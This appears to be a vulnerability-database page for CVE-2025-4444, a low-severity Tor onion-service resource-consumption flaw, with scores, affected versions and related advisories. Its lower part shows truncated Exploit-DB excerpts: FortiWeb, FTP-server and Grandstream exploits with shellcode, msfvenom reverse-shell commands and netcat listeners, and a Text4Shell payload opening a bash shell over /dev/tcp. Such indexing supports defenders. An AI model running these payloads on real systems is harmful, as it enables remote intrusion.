CVE-2025-4444
published 2025-09-18CVE-2025-4444: A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler…
PriorityP415low3.7CVSS 3.1
AVNACHPRNUINSUCNINAL
EPSS
0.44%
35.4th percentile
A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | tor | < tor 0.4.9.6-0+deb12u1 (bookworm) | tor 0.4.9.6-0+deb12u1 (bookworm) |
| torproject | tor | >= 0 < 0.4.9.6-0+deb12u1 | 0.4.9.6-0+deb12u1 |
| torproject | tor | >= 0 < 0.4.9.6-0+deb13u1 | 0.4.9.6-0+deb13u1 |
| torproject | tor | >= 0 < 0.4.8.21-1 | 0.4.8.21-1 |
CVSS provenance
nvdv3.13.7LOWCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
nvdv4.06.3MEDIUMCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
nvdv2.02.6LOWAV:N/AC:H/Au:N/C:N/I:N/A:P
ghsa7.5HIGH
osv6.3MEDIUM
vendor_redhat7.5HIGH
vendor_debian6.3MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
ghsa·2025-11-10·CVSS 7.5
CVE-2025-64518 [HIGH] CWE-611 CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
### Impact
The XML [`Validator`](https://docs.oracle.com/javase/8/docs/api/javax/xml/validation/Validator.html) used by cyclonedx-core-java was not configured securely, making the library vulnerable to XML External Entity (XXE) injection.
The fix for GHSA-683x-4444-jxh8 / CVE-2024-38374 has been incomplete in that it only fixed *parsing* of XML BOMs, but not *validation*.
### Patches
The vulnerability has been fixed in cyclonedx-core-java version 11.0.1.
### Workarounds
If feasible, applications can reject XML documents before handing them to cyclonedx-core-java for validation.
This may be an option if incoming CycloneDX BOMs are known to be in JSON format.
### References
* The issue was introduce
GHSA
GHSA-qc3c-vmf8-hgcj: A security flaw has been discovered in Tor up to 0
ghsa_unreviewed·2025-09-18
CVE-2025-4444 [MEDIUM] CWE-400 GHSA-qc3c-vmf8-hgcj: A security flaw has been discovered in Tor up to 0
A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.
OSV
CVE-2025-4444: A security flaw has been discovered in Tor up to 0
osv·2025-09-18·CVSS 6.3
CVE-2025-4444 [MEDIUM] CVE-2025-4444: A security flaw has been discovered in Tor up to 0
A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.
Red Hat
cyclonedx-core-java: CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
vendor_redhat·2025-11-10·CVSS 7.5
CVE-2025-64518 [HIGH] CWE-611 cyclonedx-core-java: CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
cyclonedx-core-java: CycloneDX Core (Java): BOM validation is vulnerable to XML External Entity injection
The CycloneDX core module provides a model representation of the SBOM along with utilities to assist in creating, validating, and parsing SBOMs. Starting in version 2.1.0 and prior to version 11.0.1, the XML `Validator` used by cyclonedx-core-java was not configured securely, making the library vulnerable to XML External Entity (XXE) injection. The fix for GHSA-683x-4444-jxh8 / CVE-2024-38374 was incomplete in that it only fixed parsing of XML BOMs, but not validation. The vulnerability has been fixed in cyclonedx-core-java version 11.0.1. As a workaround, applications can reject XML documents before handing them to cyclonedx-core-java for validation. This may be an option if incoming
Debian
CVE-2025-4444: tor - A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is ...
vendor_debian·2025·CVSS 6.3
CVE-2025-4444 [MEDIUM] CVE-2025-4444: tor - A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is ...
A security flaw has been discovered in Tor up to 0.4.7.16/0.4.8.17. Impacted is an unknown function of the component Onion Service Descriptor Handler. Performing manipulation results in resource consumption. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is considered difficult. Upgrading to version 0.4.8.18 and 0.4.9.3-alpha is recommended to address this issue. It is recommended to upgrade the affected component.
Scope: local
bookworm: resolved (fixed in 0.4.9.6-0+deb12u1)
bullseye: open
forky: resolved (fixed in 0.4.8.21-1)
sid: resolved (fixed in 0.4.8.21-1)
trixie: resolved (fixed in 0.4.9.6-0+deb13u1)
No detection rules found.
Exploit-DB
FortiWeb 8.0.2 - Remote Code Execution
exploitdb·2026-04-08·CVSS 9.8
CVE-2025-64446 [CRITICAL] FortiWeb 8.0.2 - Remote Code Execution
FortiWeb 8.0.2 - Remote Code Execution
---
# Exploit Title: FortiWeb 8.0.2 - Remote Code Execution
# Date: 2025-11-22
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://www.fortinet.com
# Software Link: https://www.fortinet.com/products/web-application-firewall/fortiweb
# Version: FortiWeb ")
print("Example: python3 fortiweb_rce.py https://192.168.100.50:8443 192.168.45.10 4444")
print("\nSteps:")
print(" 1. Start listener → nc -lvnp 4444")
print(" 2. Run exploit → python3 fortiweb_rce.py 4444")
print(" 3. Get root shell → enjoy\n")
sys.exit(1)
banner()
target = sys.argv[1].rstrip("/")
LHOST = sys.argv[2]
LPORT = sys.argv[3]
print(f"[*] Target : {target}")
print(f"[*] Callback : {
Exploit-DB
PCMan FTP Server 2.0.7 - Buffer Overflow
exploitdb·2025-06-15·CVSS 6.9
CVE-2025-4255 [MEDIUM] PCMan FTP Server 2.0.7 - Buffer Overflow
PCMan FTP Server 2.0.7 - Buffer Overflow
---
# Exploit Title: PCMan FTP Server 2.0.7 - Buffer Overflow
# Date: 04/17/2025
# Exploit Author: Fernando Mengali
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link:
https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP SP3 - # Version 5.1 (Build 2600.xpsp.080413-3111 :
Service Pack 2)
# CVE: CVE-2025-4255
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.176.136 lport=4444
EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f perl
#offset: 2007
#badchars: \x00\x0a\x0d
#EIP: 0x74e32fd9 (JMP ESP)
my $buf =
"\xbd\xcc\x95\x24\x8c\xda\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" .
"\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xa6\x9b\xc6\x79\xca" .
"\x4c\x84\x82\x32\x8d\xe9\x0b\xd
Exploit-DB
Freefloat FTP Server 1.0 - Remote Buffer Overflow
exploitdb·2025-06-13·CVSS 6.9
CVE-2025-5548 [MEDIUM] Freefloat FTP Server 1.0 - Remote Buffer Overflow
Freefloat FTP Server 1.0 - Remote Buffer Overflow
---
# Exploit Title: Freefloat FTP Server 1.0 - Remote Buffer Overflow
# Date: 22 may 2025
# Notification vendor: No reported
# Discovery by: Fernando Mengali
# LinkedIn: https://www.linkedin.com/in/fernando-mengali-273504142/
# Version: 1.0
# Tested on: Windows XP SP3 English - # Version 5.1 (Build 2600.xpsp.080413-2111 : Service Pack 3)
# Vulnerability Type: Remote Buffer Overflow
# CVE: CVE-2025-5548
#offset: 246
#badchars: \x00\x0a\x0d
#EIP: 0x7C86467B (JMP ESP)
#Kernel32.dll
use IO::Socket::INET;
# msfvenom -p windows/shell_reverse_tcp lhost=192.168.232.129 lport=4444 EXITFUNC=thread -b '\x00\x0a\x0d' -a x86 --platform Windows -f perl
# nc -vlp 4444
# execute exploit
my $buf =
"\xda\xd4\xbb\x4e\xd9\xfd\x96\xd9\x74\x24\xf4\x58\x
Exploit-DB
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
exploitdb·2025-05-25·CVSS 9.8
CVE-2022-2070 [CRITICAL] Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
---
#!/usr/bin/env python3
# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070
"""
Author: Jose Luis Verdeguer (@pepeluxx)
Required: Pwntools
Example:
Terminal 1:
$ ncat -lnvp 4444
Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""
from operator import ge
import sys
import time
from pwn import *
import argparse
def get_args():
parser = argparse.ArgumentParser(
formatter_cl
Exploit-DB
Apache Commons Text 1.10.0 - Remote Code Execution
exploitdb·2025-04-18·CVSS 9.8
CVE-2022-42889 [CRITICAL] Apache Commons Text 1.10.0 - Remote Code Execution
Apache Commons Text 1.10.0 - Remote Code Execution
---
# Exploit Title: Apache Commons Text 1.10.0 - Remote Code Execution
(Text4Shell - POST-based)
# Date: 2025-04-17
# Exploit Author: Arjun Chaudhary
# Vendor Homepage: https://commons.apache.org/proper/commons-text/
# Software Link:https://repo1.maven.org/maven2/org/apache/commons/commons-text/
# Version: Apache Commons Text ")
print("Example: python3 text4shell.py 127.0.0.1 192.168.22.128 4444")
sys.exit(1)
if len(sys.argv) != 4:
usage()
target_ip = sys.argv[1]
callback_ip = sys.argv[2]
callback_port = sys.argv[3]
raw_payload = (
f"${{script:javascript:var p=java.lang.Runtime.getRuntime().exec("
f"['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1\\''])}}"
)
encoded_payload = urllib.parse.quote(r
No writeups or analysis indexed.
2025-09-18
Published